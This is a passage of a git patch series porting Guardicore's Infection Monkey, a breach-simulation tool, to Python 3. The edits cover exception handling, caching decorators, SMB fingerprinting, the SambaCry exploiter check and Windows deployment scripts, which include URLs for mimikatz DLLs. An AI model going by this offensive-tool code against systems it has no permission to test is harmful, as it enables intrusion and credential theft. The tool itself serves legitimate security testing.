def get_single_monkey_by_guid(monkey_guid):
try:
return Monkey.objects.get(guid=monkey_guid)
except DoesNotExist as ex:
- raise MonkeyNotFoundError("info: {0} | guid: {1}".format(ex.message, str(monkey_guid)))
+ raise MonkeyNotFoundError("info: {0} | guid: {1}".format(ex, str(monkey_guid)))
@staticmethod
def get_latest_modifytime():
@@ -88,8 +92,8 @@ class Monkey(Document):
os = "windows"
return os
- @staticmethod
@ring.lru()
+ @staticmethod
def get_label_by_id(object_id):
current_monkey = Monkey.get_single_monkey_by_id(object_id)
label = Monkey.get_hostname_by_id(object_id) + " : " + current_monkey.ip_addresses[0]
@@ -97,8 +101,8 @@ class Monkey(Document):
label = "MonkeyIsland - " + label
return label
- @staticmethod
@ring.lru()
+ @staticmethod
def get_hostname_by_id(object_id):
"""
:param object_id: the object ID of a Monkey in the database.
@@ -124,10 +128,10 @@ class Monkey(Document):
"""
return {'ips': self.ip_addresses, 'hostname': self.hostname}
- @staticmethod
@ring.lru(
expire=1 # data has TTL of 1 second. This is useful for rapid calls for report generation.
)
+ @staticmethod
def is_monkey(object_id):
try:
_ = Monkey.get_single_monkey_by_id(object_id)
diff --git a/monkey/monkey_island/cc/models/test_monkey.py b/monkey/monkey_island/cc/models/test_monkey.py
index 7a920409c..1bb805e76 100644
--- a/monkey/monkey_island/cc/models/test_monkey.py
+++ b/monkey/monkey_island/cc/models/test_monkey.py
@@ -126,7 +126,7 @@ class TestMonkey(IslandTestCase):
linux_monkey.save()
cache_info_before_query = Monkey.get_label_by_id.storage.backend.cache_info()
- self.assertEquals(cache_info_before_query.hits, 0)
+ self.assertEqual(cache_info_before_query.hits, 0)
# not cached
label = Monkey.get_label_by_id(linux_monkey.id)
@@ -138,7 +138,7 @@ class TestMonkey(IslandTestCase):
# should be cached
_ = Monkey.get_label_by_id(linux_monkey.id)
cache_info_after_query = Monkey.get_label_by_id.storage.backend.cache_info()
- self.assertEquals(cache_info_after_query.hits, 1)
+ self.assertEqual(cache_info_after_query.hits, 1)
linux_monkey.set_hostname("Another hostname")
@@ -146,8 +146,8 @@ class TestMonkey(IslandTestCase):
label = Monkey.get_label_by_id(linux_monkey.id)
cache_info_after_second_query = Monkey.get_label_by_id.storage.backend.cache_info()
# still 1 hit only
- self.assertEquals(cache_info_after_second_query.hits, 1)
- self.assertEquals(cache_info_after_second_query.misses, 2)
+ self.assertEqual(cache_info_after_second_query.hits, 1)
+ self.assertEqual(cache_info_after_second_query.misses, 2)
def test_is_monkey(self):
self.fail_if_not_testing_env()
@@ -157,7 +157,7 @@ class TestMonkey(IslandTestCase):
a_monkey.save()
cache_info_before_query = Monkey.is_monkey.storage.backend.cache_info()
- self.assertEquals(cache_info_before_query.hits, 0)
+ self.assertEqual(cache_info_before_query.hits, 0)
# not cached
self.assertTrue(Monkey.is_monkey(a_monkey.id))
@@ -169,5 +169,5 @@ class TestMonkey(IslandTestCase):
self.assertFalse(Monkey.is_monkey(fake_id))
cache_info_after_query = Monkey.is_monkey.storage.backend.cache_info()
- self.assertEquals(cache_info_after_query.hits, 2)
+ self.assertEqual(cache_info_after_query.hits, 2)
From a4ebfb0c3dff47b5b39d3d1d3a353750a78b5d05 Mon Sep 17 00:00:00 2001
From: VakarisZ
Date: Tue, 15 Oct 2019 11:12:49 +0300
Subject: [PATCH 020/108] Fixed ring bugs
---
monkey/monkey_island/cc/models/monkey.py | 19 ++++++++++++++-----
monkey/monkey_island/cc/models/test_monkey.py | 12 ++++++------
2 files changed, 20 insertions(+), 11 deletions(-)
diff --git a/monkey/monkey_island/cc/models/monkey.py b/monkey/monkey_island/cc/models/monkey.py
index a8a7da2ec..fe0745496 100644
--- a/monkey/monkey_island/cc/models/monkey.py
+++ b/monkey/monkey_island/cc/models/monkey.py
@@ -45,20 +45,29 @@ class Monkey(Document):
aws_instance_id = StringField(required=False) # This field only exists when the monkey is running on an AWS
# instance. See https://github.com/guardicore/monkey/issues/426.
+ @staticmethod
+ def __ring_key__():
+ """
+ Cash key representation
+ https://ring-cache.readthedocs.io/en/stable/quickstart.html#method-classmethod-staticmethod-property
+ :return:
+ """
+ return Monkey.guid
+
# LOGIC
@staticmethod
def get_single_monkey_by_id(db_id):
try:
return Monkey.objects.get(id=db_id)
except DoesNotExist as ex:
- raise MonkeyNotFoundError("info: {0} | id: {1}".format(ex.message, str(db_id)))
+ raise MonkeyNotFoundError("info: {0} | id: {1}".format(ex, str(db_id)))
@staticmethod
def get_single_monkey_by_guid(monkey_guid):
try:
return Monkey.objects.get(guid=monkey_guid)
except DoesNotExist as ex:
- raise MonkeyNotFoundError("info: {0} | guid: {1}".format(ex.message, str(monkey_guid)))
+ raise MonkeyNotFoundError("info: {0} | guid: {1}".format(ex, str(monkey_guid)))
@staticmethod
def get_latest_modifytime():
@@ -88,8 +97,8 @@ class Monkey(Document):
os = "windows"
return os
- @staticmethod
@ring.lru()
+ @staticmethod
def get_label_by_id(object_id):
current_monkey = Monkey.get_single_monkey_by_id(object_id)
label = Monkey.get_hostname_by_id(object_id) + " : " + current_monkey.ip_addresses[0]
@@ -97,8 +106,8 @@ class Monkey(Document):
label = "MonkeyIsland - " + label
return label
- @staticmethod
@ring.lru()
+ @staticmethod
def get_hostname_by_id(object_id):
"""
:param object_id: the object ID of a Monkey in the database.
@@ -124,10 +133,10 @@ class Monkey(Document):
"""
return {'ips': self.ip_addresses, 'hostname': self.hostname}
- @staticmethod
@ring.lru(
expire=1 # data has TTL of 1 second. This is useful for rapid calls for report generation.
)
+ @staticmethod
def is_monkey(object_id):
try:
_ = Monkey.get_single_monkey_by_id(object_id)
diff --git a/monkey/monkey_island/cc/models/test_monkey.py b/monkey/monkey_island/cc/models/test_monkey.py
index 7a920409c..1bb805e76 100644
--- a/monkey/monkey_island/cc/models/test_monkey.py
+++ b/monkey/monkey_island/cc/models/test_monkey.py
@@ -126,7 +126,7 @@ class TestMonkey(IslandTestCase):
linux_monkey.save()
cache_info_before_query = Monkey.get_label_by_id.storage.backend.cache_info()
- self.assertEquals(cache_info_before_query.hits, 0)
+ self.assertEqual(cache_info_before_query.hits, 0)
# not cached
label = Monkey.get_label_by_id(linux_monkey.id)
@@ -138,7 +138,7 @@ class TestMonkey(IslandTestCase):
# should be cached
_ = Monkey.get_label_by_id(linux_monkey.id)
cache_info_after_query = Monkey.get_label_by_id.storage.backend.cache_info()
- self.assertEquals(cache_info_after_query.hits, 1)
+ self.assertEqual(cache_info_after_query.hits, 1)
linux_monkey.set_hostname("Another hostname")
@@ -146,8 +146,8 @@ class TestMonkey(IslandTestCase):
label = Monkey.get_label_by_id(linux_monkey.id)
cache_info_after_second_query = Monkey.get_label_by_id.storage.backend.cache_info()
# still 1 hit only
- self.assertEquals(cache_info_after_second_query.hits, 1)
- self.assertEquals(cache_info_after_second_query.misses, 2)
+ self.assertEqual(cache_info_after_second_query.hits, 1)
+ self.assertEqual(cache_info_after_second_query.misses, 2)
def test_is_monkey(self):
self.fail_if_not_testing_env()
@@ -157,7 +157,7 @@ class TestMonkey(IslandTestCase):
a_monkey.save()
cache_info_before_query = Monkey.is_monkey.storage.backend.cache_info()
- self.assertEquals(cache_info_before_query.hits, 0)
+ self.assertEqual(cache_info_before_query.hits, 0)
# not cached
self.assertTrue(Monkey.is_monkey(a_monkey.id))
@@ -169,5 +169,5 @@ class TestMonkey(IslandTestCase):
self.assertFalse(Monkey.is_monkey(fake_id))
cache_info_after_query = Monkey.is_monkey.storage.backend.cache_info()
- self.assertEquals(cache_info_after_query.hits, 2)
+ self.assertEqual(cache_info_after_query.hits, 2)
From 559e12c1fbd05f3edb34a466f7da61662f23d129 Mon Sep 17 00:00:00 2001
From: VakarisZ
Date: Tue, 15 Oct 2019 18:18:46 +0300
Subject: [PATCH 021/108] A bunch of error messages converted to python3 syntax
---
monkey/common/cloud/aws_service.py | 2 +-
monkey/infection_monkey/exploit/tools/wmi_tools.py | 2 +-
monkey/monkey_island/cc/services/reporting/aws_exporter.py | 4 ++--
.../cc/services/reporting/report_exporter_manager.py | 2 +-
4 files changed, 5 insertions(+), 5 deletions(-)
diff --git a/monkey/common/cloud/aws_service.py b/monkey/common/cloud/aws_service.py
index 41bb202bc..b435b23c7 100644
--- a/monkey/common/cloud/aws_service.py
+++ b/monkey/common/cloud/aws_service.py
@@ -84,5 +84,5 @@ class AwsService(object):
filtered_instances_data = filter_instance_data_from_aws_response(response)
return filtered_instances_data
except botocore.exceptions.ClientError as e:
- logger.warning("AWS client error while trying to get instances: " + e.message)
+ logger.warning("AWS client error while trying to get instances: " + e)
raise e
diff --git a/monkey/infection_monkey/exploit/tools/wmi_tools.py b/monkey/infection_monkey/exploit/tools/wmi_tools.py
index f9f7b9ae3..e1e002d72 100644
--- a/monkey/infection_monkey/exploit/tools/wmi_tools.py
+++ b/monkey/infection_monkey/exploit/tools/wmi_tools.py
@@ -48,7 +48,7 @@ class WmiTools(object):
except Exception as exc:
dcom.disconnect()
- if "rpc_s_access_denied" == exc.message:
+ if "rpc_s_access_denied" == exc:
raise AccessDeniedException(host, username, password, domain)
raise
diff --git a/monkey/monkey_island/cc/services/reporting/aws_exporter.py b/monkey/monkey_island/cc/services/reporting/aws_exporter.py
index b01f349d4..0940be503 100644
--- a/monkey/monkey_island/cc/services/reporting/aws_exporter.py
+++ b/monkey/monkey_island/cc/services/reporting/aws_exporter.py
@@ -107,10 +107,10 @@ class AWSExporter(Exporter):
else:
return False
except UnknownServiceError as e:
- logger.warning('AWS exporter called but AWS-CLI securityhub service is not installed. Error: ' + e.message)
+ logger.warning('AWS exporter called but AWS-CLI securityhub service is not installed. Error: ' + e)
return False
except Exception as e:
- logger.exception('AWS security hub findings failed to send. Error: ' + e.message)
+ logger.exception('AWS security hub findings failed to send. Error: ' + e)
return False
@staticmethod
diff --git a/monkey/monkey_island/cc/services/reporting/report_exporter_manager.py b/monkey/monkey_island/cc/services/reporting/report_exporter_manager.py
index f308a7933..865556b0d 100644
--- a/monkey/monkey_island/cc/services/reporting/report_exporter_manager.py
+++ b/monkey/monkey_island/cc/services/reporting/report_exporter_manager.py
@@ -30,4 +30,4 @@ class ReportExporterManager(object, metaclass=Singleton):
try:
exporter().handle_report(report)
except Exception as e:
- logger.exception('Failed to export report, error: ' + e.message)
+ logger.exception('Failed to export report, error: ' + e)
From 3ef4780d16bba51415b1a6fa2c81ef9dc64d9820 Mon Sep 17 00:00:00 2001
From: VakarisZ
Date: Tue, 15 Oct 2019 18:22:35 +0300
Subject: [PATCH 022/108] Error handling in system info gatherer fixed
---
monkey/infection_monkey/system_info/__init__.py | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/monkey/infection_monkey/system_info/__init__.py b/monkey/infection_monkey/system_info/__init__.py
index 53324afb7..ab8e0f7ba 100644
--- a/monkey/infection_monkey/system_info/__init__.py
+++ b/monkey/infection_monkey/system_info/__init__.py
@@ -16,7 +16,7 @@ LOG = logging.getLogger(__name__)
try:
WindowsError
except NameError:
- WindowsError = None
+ WindowsError = psutil.AccessDenied
__author__ = 'uri'
From 547cfe2f9202256faf0c8341136a520fa5fb91cf Mon Sep 17 00:00:00 2001
From: VakarisZ
Date: Wed, 16 Oct 2019 18:26:41 +0300
Subject: [PATCH 023/108] Various python3 bugfixes
---
monkey/infection_monkey/network/__init__.py | 5 +++--
monkey/infection_monkey/network/firewall.py | 2 +-
monkey/infection_monkey/network/info.py | 4 ++--
monkey/infection_monkey/network/mssql_fingerprint.py | 3 ++-
monkey/infection_monkey/network/tools.py | 4 ++--
5 files changed, 10 insertions(+), 8 deletions(-)
diff --git a/monkey/infection_monkey/network/__init__.py b/monkey/infection_monkey/network/__init__.py
index 33a6871e2..fe3e6cb7a 100644
--- a/monkey/infection_monkey/network/__init__.py
+++ b/monkey/infection_monkey/network/__init__.py
@@ -1,4 +1,4 @@
-from abc import ABCMeta, abstractmethod, abstractproperty
+from abc import ABCMeta, abstractmethod
__author__ = 'itamar'
@@ -10,7 +10,8 @@ class HostScanner(object, metaclass=ABCMeta):
class HostFinger(object, metaclass=ABCMeta):
- @abstractproperty
+ @property
+ @abstractmethod
def _SCANNED_SERVICE(self):
pass
diff --git a/monkey/infection_monkey/network/firewall.py b/monkey/infection_monkey/network/firewall.py
index 88171ecda..16af673b1 100644
--- a/monkey/infection_monkey/network/firewall.py
+++ b/monkey/infection_monkey/network/firewall.py
@@ -92,7 +92,7 @@ class WinAdvFirewall(FirewallApp):
def close(self):
try:
for rule in list(self._rules.keys()):
- self.remove_firewall_rule({'name': rule})
+ self.remove_firewall_rule(name=rule)
except:
pass
diff --git a/monkey/infection_monkey/network/info.py b/monkey/infection_monkey/network/info.py
index 50cd7aa0a..e41be20ac 100644
--- a/monkey/infection_monkey/network/info.py
+++ b/monkey/infection_monkey/network/info.py
@@ -63,7 +63,7 @@ else:
def get_routes(): # based on scapy implementation for route parsing
- LOOPBACK_NAME = "lo"
+ LOOPBACK_NAME = b"lo"
SIOCGIFADDR = 0x8915 # get PA address
SIOCGIFNETMASK = 0x891b # get network PA mask
RTF_UP = 0x0001 # Route usable
@@ -85,7 +85,7 @@ else:
routes.append((dst, msk, "0.0.0.0", LOOPBACK_NAME, ifaddr))
for l in f.readlines()[1:]:
- iff, dst, gw, flags, x, x, x, msk, x, x, x = l.split()
+ iff, dst, gw, flags, x, x, x, msk, x, x, x = [var.encode() for var in l.split()]
flags = int(flags, 16)
if flags & RTF_UP == 0:
continue
diff --git a/monkey/infection_monkey/network/mssql_fingerprint.py b/monkey/infection_monkey/network/mssql_fingerprint.py
index 7b666bf9f..e6130732d 100644
--- a/monkey/infection_monkey/network/mssql_fingerprint.py
+++ b/monkey/infection_monkey/network/mssql_fingerprint.py
@@ -1,3 +1,4 @@
+import errno
import logging
import socket
@@ -54,7 +55,7 @@ class MSSQLFinger(HostFinger):
sock.close()
return False
except socket.error as e:
- if e.errno == socket.errno.ECONNRESET:
+ if e.errno == errno.ECONNRESET:
LOG.info('Connection was forcibly closed by the remote host. The host: {0} is rejecting the packet.'
.format(host))
else:
diff --git a/monkey/infection_monkey/network/tools.py b/monkey/infection_monkey/network/tools.py
index abcd5a5cd..8fcc2892e 100644
--- a/monkey/infection_monkey/network/tools.py
+++ b/monkey/infection_monkey/network/tools.py
@@ -96,7 +96,7 @@ def check_udp_port(ip, port, timeout=DEFAULT_TIMEOUT):
is_open = False
try:
- sock.sendto("-", (ip, port))
+ sock.sendto(b"-", (ip, port))
data, _ = sock.recvfrom(BANNER_READ)
is_open = True
except socket.error:
@@ -116,7 +116,7 @@ def check_tcp_ports(ip, ports, timeout=DEFAULT_TIMEOUT, get_banner=False):
:return: list of open ports. If get_banner=True, then a matching list of banners.
"""
sockets = [socket.socket(socket.AF_INET, socket.SOCK_STREAM) for _ in range(len(ports))]
- [s.setblocking(0) for s in sockets]
+ [s.setblocking(False) for s in sockets]
possible_ports = []
connected_ports_sockets = []
try:
From e36bb9721d35af48163d40b34224a9986dfa5aed Mon Sep 17 00:00:00 2001
From: VakarisZ
Date: Wed, 16 Oct 2019 18:27:14 +0300
Subject: [PATCH 024/108] Sambacry fixes
---
monkey/infection_monkey/exploit/sambacry.py | 2 ++
monkey/infection_monkey/network/smbfinger.py | 21 ++++++++++----------
2 files changed, 12 insertions(+), 11 deletions(-)
diff --git a/monkey/infection_monkey/exploit/sambacry.py b/monkey/infection_monkey/exploit/sambacry.py
index 762cc14b5..16366c586 100644
--- a/monkey/infection_monkey/exploit/sambacry.py
+++ b/monkey/infection_monkey/exploit/sambacry.py
@@ -216,6 +216,8 @@ class SambaCryExploiter(HostExploiter):
pattern = re.compile(r'\d*\.\d*\.\d*')
smb_server_name = self.host.services[SMB_SERVICE].get('name')
+ if not smb_server_name:
+ return False
samba_version = "unknown"
pattern_result = pattern.search(smb_server_name)
is_vulnerable = False
diff --git a/monkey/infection_monkey/network/smbfinger.py b/monkey/infection_monkey/network/smbfinger.py
index b39ffef7a..1e765114c 100644
--- a/monkey/infection_monkey/network/smbfinger.py
+++ b/monkey/infection_monkey/network/smbfinger.py
@@ -120,27 +120,26 @@ class SMBFinger(HostFinger):
n = SMBNego(data=SMBNegoFingerData())
n.calculate()
- Packet = str(h) + str(n)
- Buffer = struct.pack(">i", len(''.join(Packet))) + Packet
- s.send(Buffer)
+ packet_ = str(h) + str(n)
+ buffer = struct.pack(">i", len(packet_)) + packet_.encode()
+ s.send(buffer)
data = s.recv(2048)
if data[8:10] == "\x72\x00":
- Header = SMBHeader(cmd="\x73", flag1="\x18", flag2="\x17\xc8", uid="\x00\x00")
- Body = SMBSessionFingerData()
- Body.calculate()
+ header = SMBHeader(cmd="\x73", flag1="\x18", flag2="\x17\xc8", uid="\x00\x00")
+ body = SMBSessionFingerData()
+ body.calculate()
- Packet = str(Header) + str(Body)
- Buffer = struct.pack(">i", len(''.join(Packet))) + Packet
+ packet_ = str(header) + str(body)
+ buffer = struct.pack(">i", len(packet_)) + packet_.encode()
- s.send(Buffer)
+ s.send(buffer)
data = s.recv(2048)
if data[8:10] == "\x73\x16":
length = struct.unpack('
Date: Thu, 26 Sep 2019 10:53:25 +0300
Subject: [PATCH 025/108] Windows deployment scripts to python3
---
deployment_scripts/config.ps1 | 5 +----
deployment_scripts/deploy_windows.ps1 | 13 ++++---------
2 files changed, 5 insertions(+), 13 deletions(-)
diff --git a/deployment_scripts/config.ps1 b/deployment_scripts/config.ps1
index 07be64612..4fee48e09 100644
--- a/deployment_scripts/config.ps1
+++ b/deployment_scripts/config.ps1
@@ -3,7 +3,7 @@ $MONKEY_FOLDER_NAME = "infection_monkey"
# Url of public git repository that contains monkey's source code
$MONKEY_GIT_URL = "https://github.com/guardicore/monkey"
# Link to the latest python download or install it manually
-$PYTHON_URL = "https://www.python.org/ftp/python/2.7.13/python-2.7.13.amd64.msi"
+$PYTHON_URL = "https://www.python.org/ftp/python/3.7.4/python-3.7.4-amd64.exe"
# Monkey binaries
$LINUX_32_BINARY_URL = "https://github.com/guardicore/monkey/releases/download/1.6/monkey-linux-32"
@@ -33,14 +33,11 @@ $TEMP_CPP_INSTALLER = "cpp.exe"
$TEMP_NPM_INSTALLER = "node.msi"
$TEMP_PYWIN32_INSTALLER = "pywin32.exe"
$TEMP_UPX_ZIP = "upx.zip"
-$TEMP_VC_FOR_PYTHON27_INSTALLER = "vcforpython.msi"
$UPX_FOLDER = "upx394w"
# Other url's
-$VC_FOR_PYTHON27_URL = "https://download.microsoft.com/download/7/9/6/796EF2E4-801B-4FC4-AB28-B59FBF6D907B/VCForPython27.msi"
$MONGODB_URL = "https://downloads.mongodb.org/win32/mongodb-win32-x86_64-2008plus-ssl-latest.zip"
$OPEN_SSL_URL = "https://indy.fulgan.com/SSL/Archive/openssl-1.0.2l-i386-win32.zip"
-$CPP_URL = "https://go.microsoft.com/fwlink/?LinkId=746572"
$NPM_URL = "https://nodejs.org/dist/v10.13.0/node-v10.13.0-x64.msi"
$PYWIN32_URL = "https://github.com/mhammond/pywin32/releases/download/b224/pywin32-224.win-amd64-py2.7.exe"
$UPX_URL = "https://github.com/upx/upx/releases/download/v3.94/upx394w.zip"
diff --git a/deployment_scripts/deploy_windows.ps1 b/deployment_scripts/deploy_windows.ps1
index 17d08ecc8..1bfb62445 100644
--- a/deployment_scripts/deploy_windows.ps1
+++ b/deployment_scripts/deploy_windows.ps1
@@ -44,15 +44,15 @@ function Deploy-Windows([String] $monkey_home = (Get-Item -Path ".\").FullName,
try
{
$version = cmd.exe /c '"python" --version 2>&1'
- if ( $version -like 'Python 2.7.*' ) {
- "Python 2.7.* was found, installing dependancies"
+ if ( $version -like 'Python 3.*' ) {
+ "Python 3.* was found, installing dependencies"
} else {
throw System.Management.Automation.CommandNotFoundException
}
}
catch [System.Management.Automation.CommandNotFoundException]
{
- "Downloading python 2.7 ..."
+ "Downloading python 3 ..."
$webClient.DownloadFile($PYTHON_URL, $TEMP_PYTHON_INSTALLER)
Start-Process -Wait $TEMP_PYTHON_INSTALLER -ErrorAction Stop
$env:Path = [System.Environment]::GetEnvironmentVariable("Path","Machine")
@@ -69,7 +69,7 @@ function Deploy-Windows([String] $monkey_home = (Get-Item -Path ".\").FullName,
$PYTHON_PATH = Split-Path -Path (Get-Command python | Select-Object -ExpandProperty Source)
# Get vcforpython27 before installing requirements
- "Downloading Visual C++ Compiler for Python 2.7 ..."
+ "Downloading Visual C++ Compiler for Python 3 ..."
$webClient.DownloadFile($VC_FOR_PYTHON27_URL, $TEMP_VC_FOR_PYTHON27_INSTALLER)
Start-Process -Wait $TEMP_VC_FOR_PYTHON27_INSTALLER -ErrorAction Stop
$env:Path = [System.Environment]::GetEnvironmentVariable("Path","Machine")
@@ -115,11 +115,6 @@ function Deploy-Windows([String] $monkey_home = (Get-Item -Path ".\").FullName,
"Removing zip file"
Remove-Item $TEMP_OPEN_SSL_ZIP
- # Download and install C++ redistributable
- "Downloading C++ redistributable ..."
- $webClient.DownloadFile($CPP_URL, $TEMP_CPP_INSTALLER)
- Start-Process -Wait $TEMP_CPP_INSTALLER -ErrorAction Stop
- Remove-Item $TEMP_CPP_INSTALLER
# Generate ssl certificate
"Generating ssl certificate"
From 1c880a76d9556a0561d45153eeb42d004f645516 Mon Sep 17 00:00:00 2001
From: VakarisZ
Date: Wed, 2 Oct 2019 10:15:53 +0300
Subject: [PATCH 026/108] Windows deployment scripts to python3
---
deployment_scripts/config.ps1 | 18 ++++++--------
deployment_scripts/deploy_windows.ps1 | 35 ++++++---------------------
monkey/infection_monkey/monkey.spec | 12 +--------
3 files changed, 15 insertions(+), 50 deletions(-)
diff --git a/deployment_scripts/config.ps1 b/deployment_scripts/config.ps1
index 4fee48e09..a3dafc66e 100644
--- a/deployment_scripts/config.ps1
+++ b/deployment_scripts/config.ps1
@@ -22,24 +22,20 @@ $SAMBA_64_BINARY_NAME = "sc_monkey_runner64.so"
# Other directories and paths ( most likely you dont need to configure)
$MONKEY_ISLAND_DIR = "\monkey\monkey_island"
$MONKEY_DIR = "\monkey\infection_monkey"
-$SAMBA_BINARIES_DIR = Join-Path -Path $MONKEY_DIR -ChildPath "\exploit\sambacry_monkey_runner"
+$SAMBA_BINARIES_DIR = Join-Path -Path $MONKEY_DIR -ChildPath "\bin"
$PYTHON_DLL = "C:\Windows\System32\python27.dll"
-$MK32_DLL = "mk32.dll"
-$MK64_DLL = "mk64.dll"
-$TEMP_PYTHON_INSTALLER = ".\python.msi"
+$MK32_DLL = "mk32.zip"
+$MK64_DLL = "mk64.zip"
+$TEMP_PYTHON_INSTALLER = ".\python.exe"
$TEMP_MONGODB_ZIP = ".\mongodb.zip"
$TEMP_OPEN_SSL_ZIP = ".\openssl.zip"
-$TEMP_CPP_INSTALLER = "cpp.exe"
$TEMP_NPM_INSTALLER = "node.msi"
$TEMP_PYWIN32_INSTALLER = "pywin32.exe"
-$TEMP_UPX_ZIP = "upx.zip"
-$UPX_FOLDER = "upx394w"
# Other url's
$MONGODB_URL = "https://downloads.mongodb.org/win32/mongodb-win32-x86_64-2008plus-ssl-latest.zip"
$OPEN_SSL_URL = "https://indy.fulgan.com/SSL/Archive/openssl-1.0.2l-i386-win32.zip"
$NPM_URL = "https://nodejs.org/dist/v10.13.0/node-v10.13.0-x64.msi"
-$PYWIN32_URL = "https://github.com/mhammond/pywin32/releases/download/b224/pywin32-224.win-amd64-py2.7.exe"
-$UPX_URL = "https://github.com/upx/upx/releases/download/v3.94/upx394w.zip"
-$MK32_DLL_URL = "https://github.com/guardicore/mimikatz/releases/download/1.1.0/mk32.dll"
-$MK64_DLL_URL = "https://github.com/guardicore/mimikatz/releases/download/1.1.0/mk64.dll"
+$PYWIN32_URL = "https://github.com/mhammond/pywin32/releases/download/b225/pywin32-225.win-amd64-py3.7.exe"
+$MK32_DLL_URL = "https://github.com/guardicore/mimikatz/releases/download/1.1.0/mk32.zip"
+$MK64_DLL_URL = "https://github.com/guardicore/mimikatz/releases/download/1.1.0/mk64.zip"
diff --git a/deployment_scripts/deploy_windows.ps1 b/deployment_scripts/deploy_windows.ps1
index 1bfb62445..c7192a4c8 100644
--- a/deployment_scripts/deploy_windows.ps1
+++ b/deployment_scripts/deploy_windows.ps1
@@ -53,6 +53,7 @@ function Deploy-Windows([String] $monkey_home = (Get-Item -Path ".\").FullName,
catch [System.Management.Automation.CommandNotFoundException]
{
"Downloading python 3 ..."
+ "Select 'add to PATH' when installing"
$webClient.DownloadFile($PYTHON_URL, $TEMP_PYTHON_INSTALLER)
Start-Process -Wait $TEMP_PYTHON_INSTALLER -ErrorAction Stop
$env:Path = [System.Environment]::GetEnvironmentVariable("Path","Machine")
@@ -60,23 +61,12 @@ function Deploy-Windows([String] $monkey_home = (Get-Item -Path ".\").FullName,
# Check if installed correctly
$version = cmd.exe /c '"python" --version 2>&1'
if ( $version -like '* is not recognized*' ) {
- "Python is not found in PATH. Add it manually or reinstall python."
+ "Python is not found in PATH. If you just installed python you need to restart cmd.
+ Else, add it manually or reinstall python."
return
}
}
- # Set python home dir
- $PYTHON_PATH = Split-Path -Path (Get-Command python | Select-Object -ExpandProperty Source)
-
- # Get vcforpython27 before installing requirements
- "Downloading Visual C++ Compiler for Python 3 ..."
- $webClient.DownloadFile($VC_FOR_PYTHON27_URL, $TEMP_VC_FOR_PYTHON27_INSTALLER)
- Start-Process -Wait $TEMP_VC_FOR_PYTHON27_INSTALLER -ErrorAction Stop
- $env:Path = [System.Environment]::GetEnvironmentVariable("Path","Machine")
- Remove-Item $TEMP_VC_FOR_PYTHON27_INSTALLER
-
- # Install requirements for island
- $islandRequirements = Join-Path -Path $monkey_home -ChildPath $MONKEY_ISLAND_DIR | Join-Path -ChildPath "\requirements.txt" -ErrorAction Stop
"Upgrading pip..."
$output = cmd.exe /c 'python -m pip install --user --upgrade pip 2>&1'
$output
@@ -84,8 +74,11 @@ function Deploy-Windows([String] $monkey_home = (Get-Item -Path ".\").FullName,
"Make sure pip module is installed and re-run this script."
return
}
+
+ "Installing python packages for island"
+ $islandRequirements = Join-Path -Path $monkey_home -ChildPath $MONKEY_ISLAND_DIR | Join-Path -ChildPath "\requirements.txt" -ErrorAction Stop
& python -m pip install --user -r $islandRequirements
- # Install requirements for monkey
+ "Installing python packages for monkey"
$monkeyRequirements = Join-Path -Path $monkey_home -ChildPath $MONKEY_DIR | Join-Path -ChildPath "\requirements_windows.txt"
& python -m pip install --user -r $monkeyRequirements
@@ -115,7 +108,6 @@ function Deploy-Windows([String] $monkey_home = (Get-Item -Path ".\").FullName,
"Removing zip file"
Remove-Item $TEMP_OPEN_SSL_ZIP
-
# Generate ssl certificate
"Generating ssl certificate"
Push-Location -Path (Join-Path -Path $monkey_home -ChildPath $MONKEY_ISLAND_DIR)
@@ -167,19 +159,6 @@ function Deploy-Windows([String] $monkey_home = (Get-Item -Path ".\").FullName,
$binDir = (Join-Path -Path $monkey_home -ChildPath $MONKEY_DIR | Join-Path -ChildPath "\bin")
New-Item -ItemType directory -path $binaries -ErrorAction SilentlyContinue
- # Download upx
- if(!(Test-Path -Path (Join-Path -Path $binDir -ChildPath "upx.exe") )){
- "Downloading upx ..."
- $webClient.DownloadFile($UPX_URL, $TEMP_UPX_ZIP)
- "Unzipping upx"
- Expand-Archive $TEMP_UPX_ZIP -DestinationPath $binDir -ErrorAction SilentlyContinue
- Move-Item -Path (Join-Path -Path $binDir -ChildPath $UPX_FOLDER | Join-Path -ChildPath "upx.exe") -Destination $binDir
- # Remove unnecessary files
- Remove-Item -Recurse -Force (Join-Path -Path $binDir -ChildPath $UPX_FOLDER)
- "Removing zip file"
- Remove-Item $TEMP_UPX_ZIP
- }
-
# Download mimikatz binaries
$mk32_path = Join-Path -Path $binDir -ChildPath $MK32_DLL
if(!(Test-Path -Path $mk32_path )){
diff --git a/monkey/infection_monkey/monkey.spec b/monkey/infection_monkey/monkey.spec
index d29adddb1..e35fd2630 100644
--- a/monkey/infection_monkey/monkey.spec
+++ b/monkey/infection_monkey/monkey.spec
@@ -67,17 +67,11 @@ def process_datas(orig_datas):
def get_binaries():
- binaries = get_windows_only_binaries() if is_windows() else get_linux_only_binaries()
+ binaries = [] if is_windows() else get_linux_only_binaries()
binaries += get_sc_binaries()
return binaries
-def get_windows_only_binaries():
- binaries = []
- binaries += get_msvcr()
- return binaries
-
-
def get_linux_only_binaries():
binaries = []
binaries += get_traceroute_binaries()
@@ -92,10 +86,6 @@ def get_sc_binaries():
return [(x, get_bin_file_path(x), 'BINARY') for x in ['sc_monkey_runner32.so', 'sc_monkey_runner64.so']]
-def get_msvcr():
- return [('msvcr100.dll', os.environ['WINDIR'] + '\\system32\\msvcr100.dll', 'BINARY')]
-
-
def get_traceroute_binaries():
traceroute_name = 'traceroute32' if is_32_bit() else 'traceroute64'
return [(traceroute_name, get_bin_file_path(traceroute_name), 'BINARY')]
From e7a71e10d8decc92b750fbdd0085e4eded57b850 Mon Sep 17 00:00:00 2001
From: VakarisZ
Date: Thu, 3 Oct 2019 12:40:58 +0300
Subject: [PATCH 027/108] Removed enum34 from requirements
---
.../infection_monkey/requirements_windows.txt | 2 -
monkey/monkey_island/cc/ui/package-lock.json | 101 +++++++++---------
monkey/monkey_island/cc/ui/package.json | 14 +--
3 files changed, 57 insertions(+), 60 deletions(-)
diff --git a/monkey/infection_monkey/requirements_windows.txt b/monkey/infection_monkey/requirements_windows.txt
index ce5021923..cb3f43660 100644
--- a/monkey/infection_monkey/requirements_windows.txt
+++ b/monkey/infection_monkey/requirements_windows.txt
@@ -1,4 +1,3 @@
-enum34
impacket
pycryptodome
cffi
@@ -15,4 +14,3 @@ wmi
pywin32
pymssql
pyftpdlib
-enum34
diff --git a/monkey/monkey_island/cc/ui/package-lock.json b/monkey/monkey_island/cc/ui/package-lock.json
